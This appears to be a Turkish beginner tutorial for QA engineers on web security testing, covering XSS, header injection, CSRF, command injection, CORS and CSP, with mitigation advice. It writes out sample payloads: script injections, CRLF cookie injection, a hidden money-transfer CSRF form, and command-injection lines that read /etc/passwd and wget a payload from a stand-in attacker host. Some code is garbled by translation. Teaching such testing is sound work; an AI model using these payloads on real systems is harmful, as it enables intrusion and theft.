Bu makale, temel güvenlik açıklarını ve test tekniklerini araştırarak web uygulaması pentest becerilerinizi geliştirmek için pratik bilgiler sağlar. Makale, QA mühendislerine ve analistlerine adadığım bir dizi gönderiyi birleştirerek temel siber güvenlik açıklarının pratik bir incelemesini sunuyor. Amaç, QA Mühendislerini/Test Uzmanlarını/Analistlerini, yazılım QA'sı ile siber güvenlik arasındaki boşluğu dolduran bilgilerle güçlendirmek ve web uygulamalarının bütünlüğünü ve güvenliğini sağlamak için birleşik bir yaklaşımı teşvik etmektir.
Bu nihai bir rehber değil ancak siber güvenlik alanıyla ilgilenen bir QA mühendisi olarak deneyimlerimi paylaşmak istiyorum; Bazı yönleri daha derinlemesine öğrenmekle ilgileniyorsanız, bazı yararlı bağlantılarla birlikte oldukça yüzeysel bilgiler olacaktır.
Kritik ve en yaygın güvenlik açıklarından biri XSS'dir - https://owasp.org/www-community/attacks/xss/
Sahada ve ön uç geliştirme teknolojilerinde kapsamlı bilgiye sahip olmadan XSS testinin nasıl yapılacağına dair basit bir yaklaşımı ve ipuçlarını paylaşacağım.
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))
Girişi gönderin ve betiğin çalışıp çalışmadığına bakın.
Eğer öyleyse, uygulama XSS saldırılarına karşı savunmasız demektir.
Betik çalışmazsa, <img> veya <iframe> gibi diğer HTML etiketlerini ekleyerek girişi değiştirmeyi deneyin ve bunların sayfaya yansıtılıp yansıtılmadığına bakın (bu örnek neredeyse her zaman işime yarar)
<b>t</b>#`"/*—est
Web uygulaması URL'nizin veya kullanıcı adının, yüklenen dosya adlarının ( https://github.com/cure53/H5SC ) parametrelerini veya uygulama sayfasında görüntülenecek ve değiştirebileceğiniz herhangi bir metni sorgulamak için bir komut dosyası ekleyebilirsiniz. .
Girişlerin ön uç doğrulamalarının farkında olun. Değeri her zaman doğrudan bir istek kullanarak (Postacı, Burp veya benzeri araçları kullanarak) göndermeye çalışın.
Fuzzing ve bir yük listesi kullanın; mümkün olduğunda bu yaklaşımı otomatikleştirin veya bunun için özel araçlar kullanın.
Araçlardan bahsetmişken, XSS'yi keşfetmek, farklı olanları denemek, sonuçları farklı uygulamalarla birkaç kez karşılaştırmak ve en çok beğendiğinizi seçmek için pek çok araç var: https://linuxhint.com/free_xss_tools/ (Çok kullandım) OWASP ZAP ve BurpSuite).
Şahsen, buradaki yükleri ve bilgileri kullanmayı seviyorum - https://github.com/s0md3v/AwesomeXSS - bence çok faydalı bir kaynak.
XSS ve veriler hakkında daha fazla ayrıntı için aşağıdaki kaynakları bulabilirsiniz:
Bu güvenlik açığı, bir saldırganın bir web sitesinin başlığına kötü amaçlı kod enjekte ederek yetkisiz eylemler gerçekleştirmesine veya hassas bilgilere erişmesine olanak sağlaması durumunda ortaya çıkar.
Başlık enjeksiyonlarını test etmek için birkaç adımı takip edebilirsiniz:
(%0d%0a OR \r\n)
Örneğin, Set-Cookie başlığını enjekte etmek için aşağıdaki veri kullanılabilir:
User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked
Başka bir örnek, bir saldırganın aynı sunucudaki başka bir web sitesine veya alt etki alanına erişmek için Ana Bilgisayar başlığını değiştirebildiği Ana Bilgisayar başlığı enjeksiyonudur. Örneğin:
Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com
Başlık eklemeleri hakkında daha fazla bilgi edinmek için aşağıdaki kaynaklara başvurabilirsiniz:
CSRF, kötü amaçlı bir web sitesinin bir kullanıcıyı, kullanıcının o anda oturum açmış olduğu farklı bir web sitesinde işlem yapması için kandırması durumunda ortaya çıkar. Bu tür bir saldırı, kullanıcı adına yetkisiz eylemlerin (herhangi bir POST isteği) gerçekleştirilmesine neden olabilir.
CSRF açıklarını test etmek için özetle şunları yapabilirsiniz:
<html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>
CSRF saldırılarını önlemek amacıyla isteğin kaynağını doğrulamak amacıyla CSRF karşıtı belirteçleri veya aynı site çerezlerini kullanın. Bu belirteçler, sunucu tarafından oluşturulan ve form veya URL parametrelerine dahil edilen benzersiz değerlerdir. Form gönderildiğinde sunucu, belirtecin beklenen değerle eşleşip eşleşmediğini kontrol eder ve eşleşmiyorsa isteği reddeder. İşte Python'da bir örnek:
import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response
Yararlı kaynaklar:
RCE ve Komut Ekleme güvenlik açıkları, saldırganların hedef sistemde rastgele kod veya işletim sistemi komutları çalıştırabilmesi durumunda ortaya çıkar. Bu tür saldırılar sistemin tamamen ele geçirilmesine ve hassas verilere yetkisiz erişime neden olabilir.
RCE ve Command Injection güvenlik açıklarını test etmek için özetle şunları yapabilirsiniz:
; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3
Tüm veriler bazı görünür çıktılarla sonuçlanmaz. Bu gibi durumlarda ağ trafiğini izlemek veya log dosyalarını incelemek gibi başka yöntemler kullanmanız gerekebilir.
RCE ve Komut Ekleme saldırılarını önlemek için kullanıcı girişinin doğrulanması ve kötü amaçlı karakterlerin veya komutların kaldırılması veya temizlenmesi gerekir.
Daha ileri öğrenim için bazı yararlı kaynaklar şunlardır:
Bu tür saldırı, istemci tarafından sunucu tarafına gönderilen parametreleri değiştirdiğinizde, örneğin yetkisiz erişime veya ayrıcalık artışına yol açtığında meydana gelir.
Bu tür bir güvenlik açığını test etmek için aşağıdakileri yapabilirsiniz:
Web Parametresini Değiştirme saldırılarını önlemek için giriş doğrulama ve temizleme çok önemlidir. Tüm giriş verilerinin sunucu tarafında doğrulandığından ve uygulamanın kötü amaçlı girişleri reddettiğinden emin olun. Bu tür güvenlik açıklarının bir QA ekibi tarafından tanımlanması gereken en iyi şeyler olduğunu söyleyebilirim çünkü QA'lar uygulamayı/ürünü, mantığını ve parametrelerini genellikle geliştirme sürecine dahil olmayan infosec mühendislerinden daha iyi bilir.
Web Parametrelerinin Değiştirilmesi hakkında daha fazla bilgi edinmenize yardımcı olacak bazı ek kaynaklar şunlardır:
Bu, web sayfalarının, web sayfasına hizmet veren etki alanından farklı bir etki alanına istekte bulunmasını kısıtlayan bir güvenlik mekanizmasıdır.
Aşağıdakileri yaparak test edebilirsiniz:
fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })
access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Şu basit adımları uygulayın:
Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With
Cevap:
HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With
CORS hakkında daha fazla bilgi için bazı yararlı kaynakları burada bulabilirsiniz:
CSP, web sayfalarına hangi içerik kaynaklarının yüklenmesine izin verildiğini belirlemeye izin vererek XSS saldırılarını önlemeye yardımcı olan bir mekanizmadır. CSP başlık seti olmadan, sayfaya kötü amaçlı komut dosyaları enjekte etmek ve hassas kullanıcı verilerini çalmak veya başka eylemler gerçekleştirmek potansiyel olarak mümkündür.
CSP başlığını kontrol etmek için aşağıdakileri yapabilirsiniz:
document.cookie=TESTCOOKIE=XSS;
Sayfaya bir komut dosyası enjekte etmeyi deneyin ve çalışıp çalışmadığını görün. Örneğin, aşağıdaki kodu tarayıcı konsoluna ekleyin:
var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);
Yanıt başlıklarında Content-Security-Policy başlığını arayın. Bu başlığın eksik olması, web sayfasında CSP başlık setinin bulunmadığı anlamına gelir.
CSP başlığı web uygulaması güvenliğinde önemli bir şeydir.
CSP'ye ilişkin daha fazla bilgi için:
Siber güvenlik ile yazılım kalite güvencesi arasındaki simbiyotik ilişki, yazılım uygulamalarının güvenliği açısından önemlidir. Tehdit modelleme metodolojilerinin ve otomatik bulanıklık testi tekniklerinin entegrasyonu sayesinde, QA mühendisleri güvenlik açıklarının erken tespitine ve azaltılmasına önemli ölçüde katkıda bulunur. Siber güvenlik ve QA ekipleri arasındaki işbirliği, yazılım geliştirmeye yönelik birleşik bir yaklaşımın ayrılmaz bir parçasını oluşturur; QA'nın rolü, potansiyel güvenlik kusurlarının proaktif tanımlanmasını ve düzeltilmesini kapsayacak şekilde işlevsellik ve kullanılabilirlik testlerinin ötesine uzanır. QA'yı siber güvenlik çabalarında stratejik bir varlık olarak kabul etmek önemlidir; çünkü bu yalnızca veri korumasını geliştirmekle kalmaz, aynı zamanda bir şirketin itibarını, müşteri güvenini ve genel finansal istikrarı da korur. QA profesyonellerinin teknik becerileri, sıkı test uygulamalarıyla birleştiğinde siber tehditlere karşı sağlam bir savunma oluşturur.
Sızma testlerini her zaman açık izinle ve kontrollü bir ortamda gerçekleştirin. Bu etik yaklaşım, güvenlik değerlendirmelerinin sorumlu test protokolleriyle uyumlu olmasını sağlar, sistemlere yanlışlıkla müdahale edilmesini önler ve hem test sürecinin hem de genel siber güvenlik stratejisinin bütünlüğünü korur.
Bu makalede, QA mühendislerinin web uygulaması güvenlik testlerini iyileştirmesi, yazılım QA'sı ve siber güvenliği birbirine bağlaması için pratik ipuçları paylaşılmaktadır. Daha fazla bilgi edinmek isteyenler için içgörüler ve faydalı bağlantılar içeren, başlangıç seviyesindekilere yönelik bir kılavuzdur.
Burada da yayınlandı.